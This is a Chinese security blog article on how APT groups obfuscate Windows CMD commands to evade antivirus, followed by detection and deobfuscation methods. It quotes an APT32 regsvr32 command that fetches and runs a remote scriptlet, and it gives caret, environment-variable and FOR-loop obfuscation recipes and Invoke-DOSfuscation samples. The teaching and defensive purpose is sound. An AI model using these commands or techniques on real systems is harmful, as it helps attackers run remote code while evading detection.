APT的思考: CMD命令混淆高级对抗
2020-5-26 03:5:40 Author: mp.weixin.qq.com(查看原文) 阅读量:14 收藏

 阅读本文大概需要 5 分钟。 

   2020年 第  15  篇文章 ,flag 继续 

每周至少更一篇

前言

良好的习惯是人生产生复利的有力助手

上一篇根据我对问题的认知方式,讲解了cobalt-strike的学习之路,希望对大家能有启发。

Cobalt-strike在APT攻击中相对比较常见,延续APT攻击的思路,讲解一下APT攻击中命令混淆的场景。本篇 以CMD命令混淆作为切入点,探讨一下CMD命令混淆的高级对抗。

有朋友说在后台和我交流技术不是很方便,下面是我的微信号,想进行技术交流的可以加我,备注“公众号”,卖货的,伸手党不要加我,谢谢。

一. 背景

首先要说一下攻击者为什么会使用CMD命令混淆,它的目的是什么?首先举几个现实中的例子:

1. Emotet木马

Emotet一款著名的银行木马,首次出现于2014年年中。该木马主要通过垃圾邮件的方式传播感染目标用户,并通过脚本混淆、加密或编码方式来绕过AV检测,比如在垃圾邮件word附件中使用宏攻击, 如下图所示,这是一个从DOC文档嵌入的VBA宏代码中提取的CMD命令,乍一看上去,像是无意义的一串字符。

2. APT32

APT32在使用regsvr32.exe 远程注册组件,使用混淆方式来逃避C2检测。

  1. regsvr32.exe /s /n /u /i:”h”t”t”p://<REDACTED>.jpg scrobj.dll

3. FIN7

FIN7 在使用LINK文件钓鱼时,对命令参数进行混淆:

APT攻击中使用混淆姿势多种多样,主要是通过混淆对抗静态检测,AV无法提取敏感参数,C2地址,从而实现绕过。同时也会加大安全人员对内容的分析难度。

做过安全策略的同学,肯定会想到 对cmd.exe的进程链进行监控,这样就不用管命令是否混淆,当然这是一种很好的方式,但是并不能将所有场景覆盖。cmd自身有很多内置命令,根本不会产生子进程,同样威胁很大,因此对CMD命令混淆的检测和还原非常重要。

功能使用
File copycmd /c copy powershell.exe benign.exe
File deletioncmd /c del benign.exe
File creationcmd /c “echo LINE1 > bad.vbs&&echo LINE2 >> bad.vbs”
File readcmd /c type HOSTS
File modificationcmd /c “echo 127.0.0.1 www.baidu.com >> HOSTS”
File listingcmd /c dir “C:\Program Files*”
Directory creationcmd /c mkdir %PUBLIC%\Recon
Symbolic link creationcmd /c mklink ClickMe C:\Users\Public\evil.exe

二.CMD命令的混淆姿势

利用大小写与特殊字符进行混淆

在CMD中,CMD命令大小写并不敏感,ping = PINg = PING :

常用来混淆命令的特殊字符主要有以下四种:

1.字符“^”是CMD命令中最常见的转义字符,该字符不影响命令的执行。在cmd环境中,有些字符具备特殊功能,如 >、>>表示重定向,| 表示管道,&、&&、|| 表示语句连接,它们都有特定的功能。如果需要把它们作为字符输出的话,就需要对这些特殊字符做转义处理:在每个特殊字符前加上转义字符^。举个例子:echo ^>、echo ^|、echo ^|^|、echo ^^ 和c^m^d。

2.逗号“,”和分号 “;”可以互换,可以取代命令中的合法空格,多个空格也不影响命令执行。

3.成对的圆括号()也会出现在命令参数中,也不影响命令的执行。圆括号表示嵌入子命令组,同样被cmd.exe参数处理器进行解释。

4.双引号 。使用双引号包裹字符,相当于将字符进行连接。

利用环境变量进行混淆

cmd.exe的环境变量分为系统已有的环境变量和自定义变量。利用环境变量的值中的字符或字符串,可以拼接成黑客需要的cmd命令,并逃避静态检测。在cmd中 ,set命令用来显示、设置或删除cmd.exe环境变量。命令格式:

SET [variable=[string]]

  • variable 指定环境变量名。

  • string 指定要指派给变量的一系列字符串。

在命令行中输入 set,会列举出cmd.exe中所有的环境变量,其中比较有意思的是%ComSpec%变量,值默认为“C:\WINDOWS\system32\cmd.exe”。 

我们可以利用系统中已有的环境变量,通过对环境变量进行截取拼接出想要的cmd命令。格式:

%VarName:~offset[,length]%

主要用于获取环境变量VarName的变量值,偏移offset字节之后长度为length个字节。[,length]可省略。offset 默认下标从0开始,offset也支持负数,表示反向遍历字符串的下标。举个例子:通过%comspec%截取出cmd.exe。

通常我们也可以自定义一个或者多个环境变量,利用环境变量值中的字符,提取并拼接出最终想要的cmd命令。如:

cmd /c “ set envar1=ser&& set envar2=ne&& set envar3=t u&&call echo %envar2%%envar3%%envar1%”

备注:Cmd /C “string”表示:执行字符串string指定的命令,然后终止。 

在上图中,/V:ON参数 可以启用延迟的环境变量扩展。当/V:ON参数启用时,可以不使用call命令来扩展变量,使用 %var% 或 !var! 来扩展变量,!var!可以用来代替%var%。

cmd /V:ON /C " set envar1=ser&& set envar2=ne&& set envar3=t u&& call echo !envar2!!envar3!!envar1!"

cmd.exe内部命令除了set,还有 assoc ,ftype等。我们可以使用这些内部命令产生的信息,拼接出我们想要的cmd命令。

assoc:文件名扩展关联命令,用于显示和设置文件名扩展关联,可以指定某种后缀名的文件按照特定的类型文件打开或执行。命令格式为:

assoc [.ext[=[fileType]]]

ftype:显示或修改用在文件扩展名关联中的文件类型,指定一种类型的文件默认用哪个程序运行或打开。命令格式为:

ftype [fileType[=[openCommandString]]

利用For循环拼接命令

For循环经常被用来混淆处理cmd命令,使得cmd命令看起来复杂且难以检测,属于混淆中比较高阶的用法。 

在For循环使用过程中,最常用的参数是 /F 和/L。

  1. FOR /L %variable IN (start,step,end) DO command [command-parameters]

  2. 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生序列12345,(5,-1,1)将产生序列(54321)

  3. FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]

  4. FOR /F ["options"] %variable IN ("string") DO command [command-parameters]

  5. FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

举个例子,看一下For循环是如何生成命令的:

for /f " delims=f= tokens=2" %f IN ( 'assoc .cmd' ) do %f

  • delims=f= :以f 与 = 进行分隔字符串

  • tokens=2 :选择分隔后的第二列

将assoc .cmd 的返回内容拆分后,第二列正好是cmd,最后的结果就是执行cmd。

混淆神器

基于上述的原理,安全大牛创造了专门的CMD命令混淆工具,高深的命令混淆批量生产,卖成了白菜价。

https://github.com/danielbohannon/Invoke-DOSfuscation

混淆分为三个等级,以ipconfig命令为例子:

1.初级 简单通过环境变量进行混淆

cmd /C"set 4i=ipc&&set E3z=onfig&&call set sfkl=%4i%%E3z%&&cmd.exe /C %sfkl%"

2.中级

^c^M^D, , , , /^c", ,(, , , , , (s^et ^ w^3=i^pco) , )&& (S^Et ^ eH^P=n^fig)& , , C^aLl, sE^t GyHE=%w^3%%eH^P%& , , %LoCaLAPpdata:~ -3,+1%%pRoGramw6432:~9,1%d, ,/^R, , %Gy^HE%"

3.高级

^F^o^r; /^F ; , " delims=i=f tokens=2 " ,,%^2, IN; ( ,; ' ; , ^^A^^ssoC ,.cmd '; ; ) ; , ^DO ; ,%^2; ;M, , QbYcFKyL5/R "; ;(^se^T ^ ^ -,^]=^p)&&(,,,(s^e^T^_^*=^i);;)&&(^s^E^T^^@,+=^f)&& (^S^Et ^ ^{^$^+=^i)&& ( ,; ,;, (S^e^T ^.^[,^$=^g) )&& ( , (^S^e^t ^ ^#@^;=^co) ,)&&(,,,(s^E^t \^;'^?=n) ; ; )&& ; ^cA^ll ; s^e^T @}=%^{^$^+%%^ -,^]%%^*#@^;%%\^;'^?%%^@,+%%_^%%^.^[,^$%&&; ^C^A^LL,E^C^Ho; %^@^}%"|, ; F^Or , /^f ;;"tokens= 1 delims=qfNzR" , ; %^D ; ^In ; (; ; ' ;, ^^^^Ft^^^^YP^^^^E ; ,^^^|; ,^^^^F^^^^iN^^^^Dst^^^^R,^^^^c^^^^m ' ; ); , ^d^O, , %^D;

三.防御手段

有攻就有防,不能让APT组织这么猖狂。主流的检测方式主要有四种:静态检测,AI ,语义分析,沙箱执行。

静态检测

根据上述混淆的方式,提取关键特征分支进行系统化分析,已知做的比较好的是如下的开源项目,是组内大佬设计的。

https://github.com/We5ter/Flerken

这是一种跨平台的解决方案,不仅能检测CMD的混淆,还能检测 shell,powershell等命令混淆方式。静态检测的方式,对于动态生成+微混淆 的命令检测能力较弱。

AI

使用AI做命令混淆检测比较前沿的是FireEye 公司,也是非常早做命令混淆检测这方面的。设计方案细节:

https://www.fireeye.com/blog/threat-research/2018/11/obfuscated-command-line-detection-using-machine-learning.html

提取的部分特征如下:

  • 命令行长度

  • 命令行中的插入符号数

  • 管道符号的数量

  • 命令行中的空白占比

  • 特殊字符的占比

  • 字符串的熵

  • 命令行中字符串“ cmd”和“ power”的频率

在训练样本的过程,添加一些看似混淆,其实并没有混淆的情况,均衡覆盖率和误报。如下图,红框圈住的样子。 


语义分析

大家可以看看这篇文章,虽然只是半成品,作者通过python脚本将混淆后的命令语义分析还原。

https://ddvvmmzz.github.io/Windows-CMD%E5%91%BD%E4%BB%A4%E5%8E%BB%E6%B7%B7%E6%B7%86

虽然只做了部分还原,但是思路还是不错的,还原的内容有:

  1. 替换^符号

  2. 通过=和%的规则,查找混淆变量

  3. 通过set关键字,查找混淆变量

  4. 通过%:~n,m%关键字,查找混淆变量

还原前:

cmd /C"set uZxp=t u&&set RuT=ne""&&set HvW=s""er&&call set iQl=%RuT%%uZxp%%HvW%&& call cmd /C %iQl%"

还原后:

cmd /C"call cmd /C net user"

沙箱执行

fireeye公司提供了 flare-qdb解决方案,具体不多说了,使用调试器的方式,对寄存器变量进行监控,从而获取命令还原的过程。

https://github.com/fireeye/flare-qdb/blob/master/doc/dedosfuscator.md

参考文献:

https://www.t00ls.net/articles-54517.html 

https://update.venuseye.com.cn/reports/1548417941041/%E4%BB%A5Emotet%E4%B8%BA%E4%BE%8B%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90CMD%E5%91%BD%E4%BB%A4%E6%B7%B7%E6%B7%86%E6%8A%80%E6%9C%AF20181212.html

https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf

最后

下一篇讲解powershell的混淆与恶意检测,敬请期待。

原创不易,希望大家能积极分享点在看

推荐阅读

HW : Cobalt Strike 应该这样学

WebShell通用免杀的思考

WebShell "干掉" RASP

无文件执行:一切皆是shellcode (中)

无文件执行:一切皆是shellcode (上)

linux无文件执行— fexecve 揭秘

沙盒syscall监控组件:strace and wtrace

无"命令"反弹shell-逃逸基于execve的命令监控(上)

APT组织武器:MuddyC3泄露代码分析

Python RASP 工程化:一次入侵的思考

教你学木马攻防 | 隧道木马 | 第一课

如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。

关注公众号:七夜安全博客

回复【11】:领取Sandboxie源码

  • 回复【1】:领取 Python数据分析 教程大礼包

  • 回复【2】:领取 Python Flask 全套教程

  • 回复【3】:领取 某学院 机器学习 教程

  • 回复【4】:领取 爬虫 教程

  • 回复【5】:领取编译原理 教程

  • 回复【6】:领取渗透测试教程

  • 回复【7】:领取人工智能数学基础

  • 回复【8】:领取 python神经网络 教程 

  • 回复【9】:领取 安卓逆向 教程  

好文和朋友一起看~

文章来源: https://mp.weixin.qq.com/s?__biz=MzIwODIxMjc4MQ==&mid=2651004576&idx=1&sn=c3548036e3780820c1b16cdf8f246af0&chksm=8cf138e2bb86b1f4ed9a5a617678fbc35052f74d793e79bd89cb75134b9024f6f193b2d22140&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh